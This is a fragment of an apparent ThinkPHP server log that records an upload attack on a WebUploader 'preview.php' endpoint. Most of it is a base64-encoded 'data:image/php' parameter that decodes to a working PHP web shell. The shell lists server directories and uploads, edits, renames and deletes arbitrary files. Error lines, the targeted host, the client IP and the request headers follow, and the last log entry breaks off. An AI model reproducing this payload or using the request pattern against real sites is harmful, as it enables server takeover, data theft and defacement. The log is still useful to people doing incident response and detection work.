'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:06+08:00 ] 116.213.36.234 POST www.51tianwei.com/viagraedit/webuploader/0.1.5/server/preview.php [运行时间:0.002545s] [吞吐率:392.95req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 